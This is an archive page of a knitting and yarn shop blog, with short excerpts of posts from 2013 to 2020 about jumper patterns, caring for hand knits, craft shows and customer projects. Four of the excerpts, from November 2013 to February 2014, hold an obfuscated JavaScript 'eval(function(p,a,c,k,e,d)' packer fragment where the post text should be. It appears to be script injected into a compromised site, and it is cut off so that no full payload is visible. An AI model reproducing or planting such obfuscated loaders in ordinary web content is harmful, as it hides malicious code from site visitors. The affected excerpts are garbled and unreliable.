by Abby | Mar 20, 2020 | General News, Patterns, Product News, Website news
Having wanted to write a straight forward top-down jumper pattern for quite some time, I had no idea quite how long it was going to take… In fact when I edited the images of the various stages I realise that I started the first sample in April last year...
by Abby | Mar 8, 2018 | General News, Product News, Website news
What is the best way to care for hand knits? This is a question I get asked again and again, and now seems like the perfect time to talk about this as I am about to introduce the new range of Luxury Yarns Hand-Dyed. We spend hours and hours making our items –...
by Abby | Mar 6, 2018 | General News, Patterns, Shows and Fairs, Website news
Spring Show…!!!? Ironic or what?! This was the view when I left my house last Wednesday, and I live in London so we hardly ever get snow! It was set-up day for the Spring Knitting and Stitching Show so I called the offices of to check that they were still going...
by Abby | Feb 8, 2018 | Knitting, Luxury Yarns general news, Pattern Support, Patterns, Projects and Ideas
Why pay for a pattern? People often complain about paying for knitting patterns. There are so many patterns that are free, so why pay…? I think that many knitters have no idea of the process, the hard work, effort and cost involved, so I thought I’d write...
by Abby | Nov 8, 2017 | Luxury Yarns general news, Product News, Shows and Fairs, Yarn
So, I am a bit excited and a bit nervous – I am off to Nottingham Yarn Expo on Friday. It’s the first NYE and although I’ve done several shows this year, this one I wont have my friend Deb from FindMeKnitting with me. Shows on your own can be very...
by Abby | Jan 7, 2017 | Pattern Support, Yarn
I have been working on this pattern for what feels like for ever. It is my first proper printed pattern and I have learned so much since starting it. I never knew about tech editing before, and have entered into the world of test knitting on Ravelry too. All in all I...
by Abby | Jan 4, 2017 | Knitting, Patterns, Product News
The latest edition to my Knit-Kits – this pattern is currently being tech edited and test knitted and I hope will be available at the end of January 2017. *** UPDATE*** You can see this pattern here, and the Knit Kit is available here...
by Abby | Sep 13, 2016 | Customer Projects, Kids, Knitting, Yarn
Look at this gorgeous cardigan made with Di Lusso yarn by one of my regular customers. She makes lots of items on Etsy and Facebook – I just love her items.
by Abby | Feb 20, 2014 | Luxury Yarns general news, Product News, Yarn
I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...
by Abby | Feb 15, 2014 | Accessories, Knitting, Yarn
I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new...
by Abby | Jan 17, 2014 | Customer Projects, Knitting, Yarn
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new...
by Abby | Jan 10, 2014 | Knitting, Luxury Yarns general news, Projects and Ideas, Yarn
I decided to make some wrist-warmers for my Mother In Law for Christmas because she wears the all the time and hers are getting a bit tatty (hope she’s not reading this!) Anyway, I wasn’t sure which yarn to use, but decided on the gorgeous Alegria...
by Abby | Dec 10, 2013 | Accessories, Knitting, Product News
Why I prefer circular knitting needles? I don’t know about you, but since I discovered circular knitting needles I rarely use anything else. I just find them so much easier to work with. I was never a fan of using longer than 30cm knitting needles anyway, which made...
by Abby | Nov 21, 2013 | Accessories, Crochet, Kids, Knitting, Luxury Yarns general news, Product News
I have another fair coming up and this time it’s at Spitalfields eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...
by Abby | Nov 6, 2013 | Knitting, Luxury Yarns general news, Projects and Ideas, Yarn
This is one of those times when I am SURE I had written a post about this, but can’t find it anywhere so am starting to doubt my sanity… I know that I am always doing about 10 things at once, so perhaps this slipped under the radar… Anyway, I will...
